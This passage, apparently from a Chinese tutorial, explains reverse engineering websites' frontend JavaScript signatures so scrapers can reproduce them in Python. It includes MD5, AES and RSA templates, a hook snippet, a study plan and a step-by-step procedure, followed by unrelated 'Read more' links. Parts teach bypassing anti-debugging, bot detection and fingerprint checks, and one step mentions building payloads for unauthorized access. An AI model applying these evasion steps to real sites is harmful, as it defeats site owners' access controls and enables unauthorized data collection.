异常 3:Python 复现的 sign 和前端不一致

1. 问题成因分析

序号核心成因占比
1签名拼接规则还原错误60%拼接顺序、遗漏盐值、大小写错误、空格 / 换行符差异
2编码格式不一致20%前端用 UTF-16 编码,Python 用 UTF-8;Base64 编码的换行 / 补全差异
3时间戳 / 随机数不一致10%时间戳的位数(10 位 / 13 位)、随机数生成规则错误
4加密算法模式 / 填充错误8%AES 的 CBC/ECB 模式、PKCS5/PKCS7 填充、IV 值错误
5前端隐藏的加密逻辑2%代码混淆后,有隐藏的字符串替换、二次加密逻辑未还原

2. 分步排查流程

  1. 第一步:固定所有变量,排除随机因素
    • 在前端代码中,把时间戳、随机数、盐值都固定为常量,生成 sign;
    • 在 Python 代码中,用完全相同的固定常量,生成 sign,对比是否一致。
  2. 第二步:逐段对比拼接字符串
    • 在前端代码中,打印加密前的原始拼接字符串console.log("原始字符串:", signStr)
    • 在 Python 代码中,打印完全相同位置的拼接字符串,对比每一个字符,查看是否有空格、换行、大小写、编码差异。
  3. 第三步:验证加密算法的参数
    • 确认加密算法的模式(AES-CBC/AES-ECB)、填充方式(PKCS7/PKCS5)、IV 值、密钥编码是否和前端完全一致;
    • 用固定的明文,分别在前端和 Python 中加密,对比密文是否一致。
  4. 第四步:排查隐藏的加密逻辑
    • 在前端代码中,给加密函数的每一步都加打印,查看是否有二次加密、字符串替换、字符编码转换的逻辑;
    • 对比前端和 Python 的每一步中间结果,找到差异点。

3. 完整解决方案

方案 1:MD5 签名不一致的标准修复模板
import hashlib # 前端还原的固定参数 SALT ="my_secret_salt" KEYWORD ="Python逆向" TIMESTAMP ="1761800000000"# 1. 严格和前端一致的拼接规则,顺序不能错# 前端:signStr = SALT + KEYWORD + TIMESTAMP sign_str =f"{SALT}{KEYWORD}{TIMESTAMP}"# 2. 编码格式必须和前端一致,默认UTF-8,特殊情况用UTF-16LE sign_bytes = sign_str.encode("utf-8")# 3. MD5哈希,大小写必须和前端一致(前端通常是小写) md5_result = hashlib.md5(sign_bytes).hexdigest().lower()print(f"拼接字符串:{repr(sign_str)}")print(f"生成的sign:{md5_result}")# 和前端console.log的结果对比,必须完全一致
方案 2:AES 加密不一致的标准修复模板
# 安装依赖:pip install pycryptodomefrom Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 # 前端还原的参数,必须完全一致 AES_KEY =b"1234567890abcdef"# 16位密钥,和前端编码一致 AES_IV =b"0123456789abcdef"# 16位IV向量,CBC模式必须 PLAINTEXT ='{"keyword":"Python逆向","page":1}'# 1. 加密逻辑,和前端完全一致# 前端:AES-128-CBC,PKCS7填充,Base64编码 cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)# 填充:PKCS7和PKCS5在AES中完全一致 padded_data = pad(PLAINTEXT.encode("utf-8"), AES.block_size)# 加密 encrypted_bytes = cipher.encrypt(padded_data)# Base64编码,和前端一致 encrypted_str = base64.b64encode(encrypted_bytes).decode("utf-8")print(f"加密结果:{encrypted_str}")# 和前端加密结果对比,必须完全一致

4. 实战避坑技巧

  • 90% 的不一致问题,都是拼接规则还原错误,必须逐字符对比前端和 Python 的原始拼接字符串,包括空格、换行、符号;
  • 时间戳必须和前端完全一致,前端用new Date().getTime()是 13 位毫秒级,Python 的time.time()默认是 10 位秒级,必须乘以 1000 转成 13 位字符串;
  • 加密算法的密钥、IV 值,必须确认前端的编码格式,是 UTF-8 字符串还是 Hex 十六进制字符串,避免编码错误。

5. 通用解决思路

sign 不一致的核心是「前端和 Python 的加密输入、加密过程、输出格式不完全一致」,解决步骤:

  1. 固定所有变量,排除随机因素;
  2. 逐字符对比加密前的输入字符串,找到差异点;
  3. 逐步骤对比加密过程的中间结果,确认算法参数完全一致;
  4. 对比输出的格式(大小写、编码、补全),和前端完全对齐。

第六部分:Web JS 逆向完整学习与实战体系

完全贴合大纲 14 章内容,可作为 JS 逆向的完整学习手册,实战性极强。


1. 分阶段学习路径规划(对应每一章)

第一阶段:入门筑基期( 1-3 章)

章节学习重点需掌握的核心能力实战目标
第一章 逆向基础JS 逆向的核心原理、前端代码执行流程、逆向的核心目标理解 “前端加密逻辑都能被还原” 的核心逻辑,明确逆向的目标是还原加密参数生成规则能看懂简单的前端加密代码,明确逆向的完整流程
第二章 浏览器控制台Network 面板抓包、Sources 面板断点调试、Console 面板代码执行、Application 面板数据查看熟练使用 DevTools 三大核心面板,能独立抓包、设置断点、调试 JS 代码、查看 Cookie/LocalStorage能独立抓包找到目标接口,给 JS 代码设置断点,单步调试查看变量值
第三章 加密参数定位方法XHR 断点定位、关键词搜索定位、Hook 注入定位加密函数掌握 3 种核心的加密函数定位方法,能快速找到接口参数的加密代码位置给任意网站的接口,10 分钟内定位到加密参数的生成函数

第二阶段:基础攻坚期( 4-6 章)

章节学习重点需掌握的核心能力实战目标
第四章 常见的压缩和混淆代码压缩原理、javascript-obfuscator 混淆的特征、混淆代码的基础阅读方法能识别混淆代码的类型,看懂简单混淆后的加密逻辑,不被乱码变量名干扰能阅读 javascript-obfuscator 混淆后的代码,找到核心加密逻辑
第五章 常见的编码和加密Base64 编码、MD5 哈希、AES 对称加密、RSA 非对称加密的原理和前端实现能识别 4 种核心加密算法的特征,看懂前端加密代码的算法类型、密钥、模式、填充方式看到前端加密代码,能快速识别算法类型,提取密钥、IV 等核心参数
第六章 加密参数还原与模拟Newrank 榜单、MD5/RSA/AES 加密逆向案例能完整还原加密逻辑,用 Python 复现加密算法,构造合法的接口请求独立完成 Newrank 榜单的 sign 参数逆向,用 Python 实现自动化爬取

第三阶段:进阶突破期( 7-9 章)

章节学习重点需掌握的核心能力实战目标
第七章 浏览器环境补充常被检测的浏览器环境、手动环境补全、JSDOM 环境补全、Selenium/Puppeteer 环境模拟能识别前端代码的环境依赖,手动补全浏览器环境,让前端加密代码在 Node.js 中正常运行把任意网站的前端加密代码,复制到 Node.js 中正常运行,生成加密参数
第八章 加密方法远程调用(RPC)RPC 的原理、油猴脚本实现 RPC、浏览器插件 RPC、Puppeteer 远程调用掌握 RPC 远程调用方法,无需还原加密逻辑,直接调用浏览器中的加密函数针对复杂加密网站,用 RPC 实现加密参数的自动生成,完成爬虫开发
第九章 AST 技术AST 的核心原理、babel 全家桶(parser/generator/traverse/types)的使用能把 JS 代码解析成 AST,遍历、修改、还原 AST 节点,生成可读代码能用 AST 技术还原简单的混淆代码,批量修改 JS 代码

第四阶段:高阶精通期( 10-14 章)

章节学习重点需掌握的核心能力实战目标
第十章 常见协议分析HTTP/HTTPS 协议结构、WebSocket 协议、接口请求规则、反爬头字段校验能深度分析接口协议,绕过 Referer、User-Agent、Cookie 等反爬校验能分析复杂网站的接口协议,构造完全模拟浏览器的请求
第十一章 常见反调试无限 debugger 原理与绕过、DevTools 检测、断点检测、内存爆破反调试掌握所有常见反调试的绕过方法,能正常调试有反爬的网站 JS 代码能绕过任意网站的无限 debugger 和 DevTools 检测,正常调试代码
第十二章 调试工具补充事件断点、全局搜索、黑盒脚本、性能面板、内存面板的进阶用法熟练使用 DevTools 的进阶调试工具,大幅提升逆向效率能用进阶调试技巧,快速定位复杂混淆代码中的加密逻辑
第十三章 AST 反混淆用 AST 还原混淆代码、字符串解密、控制流还原、变量名重命名、死代码删除能用 AST 技术完整还原 javascript-obfuscator 混淆的代码,生成可读的 JS 代码针对任意 javascript-obfuscator 混淆的代码,用 AST 实现全自动反混淆
第十四章 逆向爬取实战综合实战案例,覆盖加密、混淆、反调试、环境检测全场景能独立完成复杂网站的全流程逆向,开发稳定的自动化爬虫独立完成 2 个以上复杂网站的逆向爬取,实现 7*24 小时稳定运行

2. 核心技术栈速查表(实战手册)

模块 1:浏览器调试核心命令

操作快捷键 / 命令核心作用
打开 DevToolsF12 / Ctrl+Shift+I打开开发者工具
全局搜索Ctrl+Shift+F全网站 JS 代码搜索关键词
XHR 断点Sources→XHR/fetch Breakpoints接口请求时断点,定位加密函数
条件断点右键行号→Add conditional breakpoint条件满足时才暂停,绕过无限 debugger
单步跳过F10逐行执行,不进入函数内部
单步进入F11逐行执行,进入函数内部
继续执行F8执行到下一个断点
黑盒脚本右键 JS 文件→Blackbox Script调试时跳过该文件,不进入框架代码

模块 2:Hook 核心代码模板

Hook 目标代码模板核心作用
window.btoa见前文第二部分内容拦截 Base64 编码,找到调用位置
XMLHttpRequest.send见前文渗透测试部分拦截接口请求,查看加密参数
Function 构造器见前文无限 debugger 绕过拦截动态生成的 debugger 代码
CryptoJS.MD5const originalMD5 = CryptoJS.MD5; CryptoJS.MD5 = function(...args){console.log("MD5输入:", args[0]); const res = originalMD5.apply(this, args); console.log("MD5输出:", res.toString()); return res;}拦截 MD5 加密,查看输入输出

模块 3:AST 核心 API 速查

核心 API作用
@babel/parserparser.parse(code)把 JS 代码解析成 AST 树
@babel/traversetraverse(ast, {节点类型: 处理函数})遍历 AST 树,访问 / 修改节点
@babel/generatorgenerator(ast)把 AST 树转回 JS 代码
@babel/typest.stringLiteral("xxx")创建 / 校验 AST 节点类型

模块 4:加密算法 Python 复现模板

算法核心代码对应章节
MD5hashlib.md5(str.encode("utf-8")).hexdigest().lower()第六章
AES-CBC见前文异常 3 解决方案第六章
RSA 加密from Crypto.PublicKey import RSA; from Crypto.Cipher import PKCS1_v1_5; key = RSA.importKey(public_key); cipher = PKCS1_v1_5.new(key); encrypted = cipher.encrypt(data.encode("utf-8"))第六章
Base64base64.b64encode(data.encode("utf-8")).decode("utf-8")第五章

3. 全流程逆向标准作业流程(SOP)

从拿到目标网站到完成爬取 / 渗透,标准化 10 步流程,对应全章节内容,新手可直接照做:

  1. 需求明确与抓包分析(第二章)
    • 明确目标:需要爬取的数据 / 渗透的接口;
    • 打开 DevTools→Network 面板,触发目标操作,抓包找到核心接口;
    • 查看接口的请求参数,找到加密的参数(sign、token、data 等),明确逆向目标。
  2. 加密函数定位(第三章)
    • 优先用 XHR 断点,给接口 URL 设置断点,触发请求后回溯调用栈;
    • 其次用全局搜索,搜索加密参数名、加密关键词(encrypt/sign/md5/aes);
    • 最后用 Hook 注入,拦截加密方法,找到调用位置。
  3. 加密逻辑调试与还原(第五章)
    • 给加密函数设置断点,单步调试,查看每一步的输入、输出、中间变量;
    • 识别加密算法类型,提取密钥、IV、盐值、拼接规则、填充模式等核心参数;
    • 在 Console 面板中,手动调用加密函数,传入固定参数,验证加密逻辑。
  4. 混淆代码处理(第四章、第十三章)
    • 若代码被混淆,先格式化代码,看懂核心逻辑;
    • 简单混淆手动还原,复杂混淆用 AST 技术做反混淆,生成可读代码。
  5. 反调试绕过(第十一章)
    • 若遇到无限 debugger、DevTools 检测,用条件断点、Hook、黑盒脚本绕过;
    • 确保能正常调试代码,无卡顿、无断点干扰。
  6. 加密逻辑复现(第六章)
    • 用 Python/Node.js 复现加密逻辑,传入和前端完全相同的固定参数;
    • 对比生成的加密结果,必须和前端完全一致,确保逻辑还原正确。
  7. 环境问题处理(第七章)
    • 若加密代码在 Node.js 中执行报错,手动补全环境,或用 JSDOM 补全完整浏览器环境;
    • 复杂环境直接用 RPC 远程调用,无需补全环境。
  8. 接口请求构造(第十章)
    • 用 Python 的 requests 库,构造和浏览器完全一致的请求头、请求体、Cookie;
    • 用复现的加密逻辑生成参数,发起请求,验证是否能拿到正确的数据。
  9. 爬虫 / 渗透利用开发(第八章、渗透测试部分)
    • 开发完整的自动化爬虫,实现数据的批量爬取;
    • 或基于逆向的逻辑,构造渗透 Payload,实现越权、未授权访问等利用。
  10. 稳定性优化
    • 处理反爬机制:请求频率控制、IP 代理、Cookie 自动刷新;
    • 异常处理:网络超时、接口报错、签名失效的处理;
    • 实现 7*24 小时稳定运行。

4. 高频实战案例核心步骤与代码模板

案例核心步骤核心代码模板
Newrank 榜单 MD5 逆向1. 抓包找到 sign 参数;2. XHR 断点定位 generateSign 函数;3. 还原 MD5 拼接规则;4. Python 复现签名逻辑;5. 开发爬虫见前文第三部分渗透测试案例
微博登录 RPC 调用1. 抓包找到登录加密参数;2. 定位加密函数;3. 油猴脚本开发 RPC 服务;4. Python 调用 RPC 接口获取加密参数;5. 实现自动登录见前文第八章 RPC 部分代码
javascript-obfuscator AST 反混淆1. 解析混淆代码成 AST;2. 遍历 AST 解密字符串数组;3. 还原控制流扁平化;4. 重命名乱码变量;5. 删除死代码;6. 生成可读代码见前文第十三章 AST 部分代码
AES 数据加密逆向1. 定位 AES 加密函数;2. 提取密钥、IV、模式、填充方式;3. 固定参数验证加密结果;4. Python 复现 AES 加密逻辑;5. 构造加密请求见前文异常 3 解决方案
WASM 加密逆向1. 定位 WASM 文件加载代码;2. 找到 WASM 导出的加密函数;3. 浏览器中调用函数验证逻辑;4. 用 Wasmtime 在 Python 中调用 WASM 函数;5. 实现加密参数生成见前文第十一章 WASM 部分代码

5. 进阶提升方向(前端反爬最新趋势)

1. 最新前端反爬技术趋势

  • 企业级 JS 混淆:JScrambler 商业级混淆,加入虚拟机保护、代码虚拟化、控制流扁平化,逆向难度大幅提升;
  • 无感人机验证:基于浏览器环境指纹、鼠标 / 键盘行为、设备信息的无感验证,替代传统验证码;
  • WASM 加密:把核心加密逻辑用 C/Rust 编写,编译成 WASM,前端 JS 仅做调用,大幅提升逆向难度;
  • 动态 JS 代码:每次页面刷新,JS 代码的混淆规则、加密密钥、接口路径都会动态变化,无法静态还原;
  • 前后端双向签名:接口请求和响应都做签名校验,防止篡改和重放攻击。

2. 对应进阶学习内容

  1. 虚拟机保护逆向:学习 JS 虚拟机混淆的原理,还原虚拟机指令和执行逻辑;
  2. WASM 逆向进阶:学习 WAT 文本格式、WASM 反编译、动态调试、C 代码还原;
  3. 行为模拟:学习用 Puppeteer/Playwright 模拟真人的鼠标移动、键盘输入、页面滚动,绕过人机验证;
  4. 浏览器指纹对抗:学习浏览器指纹的生成原理,修改 / 模拟指纹,绕过环境检测;
  5. 移动端 JS 逆向:学习 APP 内嵌 WebView 的 JS 逆向、抓包、调试方法,覆盖移动端场景。

Read more

HarmonyOS NEXT开发进阶(十七):WebView 拉起 H5 页面

HarmonyOS NEXT开发进阶(十七):WebView 拉起 H5 页面

文章目录 * 一、问题说明 * 1.1 H5 应用加载失败或功能异常 * 1.2 H5 麦克风等权限申请无响应 * 1.3 多权限配置与交互冲突 * 二、原因分析 * 2.1 WebView 核心配置与权限缺失 * 2.2 权限申请与响应逻辑断裂 * 2.3 WebView 实例与生命周期管理不当 * 三、解决思路 * 3.1 核心配置与权限一体化处理 * 3.2 权限申请与 WebView 响应联动 * 3.3 调试与实例管理规范化 * 四、解决方案 * 4.1 工具函数:权限辅助(复用基础能力) * 4.2 WebView

Spring 核心技术解析【纯干货版】- XV:Spring 网络模块 Spring-Web 模块精讲

Spring 核心技术解析【纯干货版】- XV:Spring 网络模块 Spring-Web 模块精讲

Spring Framework 作为 Java 生态中最流行的企业级开发框架,提供了丰富的模块化支持。其中,Spring Web 模块是支撑 Web 开发的基础组件,无论是传统的 MVC 应用,还是 REST API 及微服务架构,都离不开它的核心能力。 本篇文章将深入解析 Spring Web 模块的核心概念、依赖关系、作用及关键组件,并通过实际案例展示如何使用 Spring Web 进行 RESTful API 调用。本文力求内容精炼、干货满满,帮助你掌握 Spring Web 的核心技术点。 文章目录 * 1、Spring-Web 模块介绍 * 1.1、Spring-Web 模块概述 * 1.2、Spring-Web

企业级web新能源充电系统管理系统源码|SpringBoot+Vue+MyBatis架构+MySQL数据库【完整版】

企业级web新能源充电系统管理系统源码|SpringBoot+Vue+MyBatis架构+MySQL数据库【完整版】

系统架构设计### 摘要 随着全球能源结构的转型和环保意识的提升,新能源汽车的普及成为交通领域的重要发展方向。充电基础设施作为新能源汽车推广的关键支撑,其智能化管理需求日益凸显。传统充电桩管理系统在数据处理、用户体验和扩展性方面存在不足,无法满足企业级高效运营的需求。为解决这一问题,本研究设计并实现了一套基于SpringBoot+Vue+MyBatis架构的企业级新能源充电系统管理系统。该系统通过整合物联网技术、云计算和大数据分析,实现对充电桩的远程监控、动态调度和用户行为分析,为运营商提供高效、稳定的管理工具。关键词:新能源充电系统、企业级管理、SpringBoot、Vue、MyBatis、MySQL。 本系统采用前后端分离架构,后端基于SpringBoot框架实现高效稳定的业务逻辑处理,前端使用Vue.js构建动态交互界面,数据库采用MySQL存储系统核心数据。系统功能涵盖充电桩管理、用户管理、订单管理、数据统计及权限控制模块,支持多角色用户(如管理员、运营商、普通用户)的差异化操作。通过MyBatis实现数据持久化,结合Redis缓存提升系统响应速度。系统还集成第三方支付接口

山东大学《Web数据管理》期末复习宝典【万字解析!】

山东大学《Web数据管理》期末复习宝典【万字解析!】

🌈 个人主页:十二月的猫-ZEEKLOG博客 🔥 系列专栏:🏀山东大学期末速通专用_十二月的猫的博客-ZEEKLOG博客 💪🏻 十二月的寒冬阻挡不了春天的脚步,十二点的黑夜遮蔽不住黎明的曙光  目录 1. 第二章 网络爬虫 1.1 爬虫基础知识 1.2 爬虫分类 1.3 开源工具 Nutch 2. 第三章 网页分析 2.1 正则表达式 2.2 DOM模型 2.3 Beautiful Soup工具 2.4 Scrapy框架 2.5 不同爬虫工具比较 2.6 元搜索引擎 3. 第四章 爬虫与网站的博弈 3.1 Robot协议 3.